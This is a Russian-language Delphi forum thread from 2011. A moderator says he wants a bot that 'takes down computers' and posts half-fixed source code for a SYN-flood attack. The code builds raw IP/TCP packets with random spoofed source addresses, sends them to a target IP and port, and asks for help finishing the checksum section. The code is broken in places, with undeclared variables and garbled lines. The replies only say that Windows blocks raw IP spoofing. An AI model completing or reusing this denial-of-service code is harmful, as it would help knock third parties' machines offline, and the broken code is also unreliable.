Пятница, 29.03.2024, 08:17 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: Волк-1024, Anton93, xXxSh@dowxXx  
delphicode » Delphi » Вирусология Delphi » Dos бот (хорошие сорсы встречаются с нарошными ошибками)
Dos бот
NeoДата: Пятница, 12.08.2011, 06:39 | Сообщение # 1
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 317
Статус: Offline
Всем привет,вот задумал написать бота,который будет валить компы,нашёл статейку,в ней написано как сфабриковать свой ip пакет(с tcp инкапсюляцией).Пример,конечно, здравый,но там куча необъявленных переменных.Я исправил ошибки наполовину, до расчета контрольной суммы.Помогите,пожалуйста,добить этот сорс.
Вот статейкаСтатейка
Я использовал первый пример.
Вот что я наисправлял:
Code
program Project2;
{$APPTYPE CONSOLE}
uses
      SysUtils,
      winsock2,
      windows;

type
iph = record
ip_verlen: byte; //Версия и длина     
ip_tos: byte; //Приоритет пакета
ip_len: word; // Длина заголовка     
ip_id: word; // id -пакета     
ip_offset: word; //Смещение     
ip_ttl: byte; //Время жизни     
ip_protocol: byte; //Протокол     
ip_checksum: word; //Контрольная сумма     
ip_saddr: longword; //Адрес отправителя     
ip_daddr: longword; //Адрес получателя     
end;
tcph = record     
th_sport: word; //Порт отправителя     
th_dport: word; //Порт получателя     
th_seq: longword; // Последовательный номер
th_ack: longword; // Подтвержденный номер     
th_len: byte; // Длина заголовка     
th_flags: byte; // Кодовые биты
th_win: word; // Окно     
th_checksum: word; // Контрольная сумма     
th_upr: word; // Кодовые биты     
end;
Procedure D(DestIp:string{DestIp - Адрес получателя};port:integer{port получателя});
Var
      WSAData:TWSADATA;
      FSocket,SOL_SOCKET:TSocket;
      op,nTimeOver,Size,j,RandIp:integer;
      ipHeader:Iph;
      TCPHeader:TCPh;
      FromIp:string;
      buffer:array[0..3]of string;
      DataPointer:pointer;
begin
      WSAStartup(MAKEWORD(2,2),WSAdata);
      FSocket:=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,nil,0,WSA_FLAG_OVERLAPPED);
      op:=1;
      setsockopt(FSocket,IPPROTO_IP,IP_HDRINCL,@op,sizeof(op));
      nTimeOver:=1000;
      setsockopt(FSocket,SOL_SOCKET,SO_SNDTIMEO,@nTimeOver,sizeof(nTimeOver));
      //Далее следует большой код сборки пакета.
//Собираем пакет
//Пишем версию и длину ip-пакета
ipHeader.ip_verlen:=((4 shl 4)or sizeof(ipheader) div sizeof(longword));
ipHeader.ip_len:=htons(Size);
ipHeader.ip_tos:=0; //Приоритет пакета     
ipHeader.ip_id:=1; //id-пакета     
ipHeader.ip_offset:=0; //смещение     
ipHeader.ip_ttl:=128; //время жизни пакета     
ipHeader.ip_protocol:=IPPROTO_TCP; //протокол     
//Генерируем рандомный ip-адресс     
FromIp:='';
For j:=0 to 3 do
begin     
RandIp:=random(255);
Str(Randip,Buffer[j]);
end;
//lstrcat –функция для сцепки строк
{lstrcat(PChar(Fromip),PChar(Buffer[0])); lstrcat(Fromip,'.');
lstrcat(Fromip,Buffer[1]); lstrcat(Fromip,'.');
lstrcat(Fromip,Buffer[2]); lstrcat(Fromip,'.');
lstrcat(Fromip,Buffer[3]);}
FromIp:=Buffer[0]+'.'+Buffer[1]+'.'+Buffer[2]+'.'+Buffer[3];
//ipHeader.ip_saddr:=inet_addr(FromIp); //Адрес источника
ipHeader.ip_saddr:=inet_addr(PChar(FromIp)); //Адрес источника
ipHeader.ip_daddr:=inet_addr(PChar(DestIp));//Адрес получателя
//Заполняем TCP-заголовок
TCPHeader.th_sport:=htons(Random(65000)); //Порт источника
TCPHeader.th_dport:=htons(port); //Порт получателя
TCPHeader.th_seq:=Random(4294967295); //Номер пакета
TCPHeader.th_ack:=0;
TCPHeader.th_len:=80;     
//SYN-пакет     
TCPHeader.th_flags:=2;     
TCPHeader.th_win:=htons(65535);     
TCPHeader.th_upr:=0;     
TCPHeader.th_checksum:=0;//Контрольная сумма TCP-пакета, которая расчитывается ниже
end;
//Расчет контрольной суммы     
//дальше не знаю как исправить
DataPointer := @TCPIP[0];    
FillChar(TCPIP, SizeOf(TCPIP), 0);    
Move(ipHeader.ip_saddr, DataPointer^, SizeOf(ipHeader.ip_saddr));    
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_saddr));    
ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_saddr);    
Move(ipHeader.ip_daddr, DataPointer^, sizeof(ipHeader.ip_daddr));    
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_daddr));    
ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_daddr);    
DataPointer := pointer(integer(DataPointer) + 1);    
Inc(ChecksumSize);    
Move(ipHeader.ip_protocol, DataPointer^, sizeof(ipHeader.ip_protocol));    
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_protocol));    
ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_protocol);    
TcpHeaderLen := htons(sizeof(tcpHeader));    
Move(TcpHeaderLen, DataPointer^, sizeof(TcpHeaderLen));    
DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeaderLen));    
ChecksumSize := ChecksumSize + sizeof(TcpHeaderLen);    
Move(tcpHeader, DataPointer^, sizeof(tcpHeader));    
DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeader));    
ChecksumSize := ChecksumSize + sizeof(tcpHeader);    
tcpHeader.th_checksum := CheckSum(TCPIP, ChecksumSize);    
FillChar(TCPIP, sizeof(TCPIP), 0);    
DataPointer := @TCPIP[0];    
Move(ipHeader, DataPointer^, sizeof(ipHeader));    
DataPointer := pointer(integer(DataPointer) + SizeOf(IPHeader));    
Move(tcpHeader, DataPointer^, sizeof(tcpHeader));    
После чего его нужно отправить    
For i:=0 to 10 do    
begin    
if (sendto(FSocket,TCPIP,Size,0,SockAddr_in,Sizeof(So ckAddr_In))=SOCKET_ERROR)    
then    
Writeln('Send error')    
else    
Writeln('Send ok');    
end;    


Сообщение отредактировал Neo - Пятница, 12.08.2011, 06:43
 
C@TДата: Пятница, 12.08.2011, 13:47 | Сообщение # 2
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
вынужден тебя огорчить, но под виндой такого делать нельзя(IP-spoofing запрещен, один мой знакомый ради этого под линух все перепиливал) + если твой провайдер выдает тебе твой ип автоматом, то у тебя твой ип(сетевой(локальный) ип) привязан к мак адресу

 
NeoДата: Пятница, 12.08.2011, 15:09 | Сообщение # 3
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 317
Статус: Offline
А нельзя,потому,что запрещено или потому,что технически не реализуемо из под винды?
 
NoiДата: Суббота, 13.08.2011, 15:40 | Сообщение # 4
Группа: Удаленные



Винда запрещает
 
delphicode » Delphi » Вирусология Delphi » Dos бот (хорошие сорсы встречаются с нарошными ошибками)
  • Страница 1 из 1
  • 1
Поиск:

delphicode.ru © 2008 - 2024 Хостинг от uCoz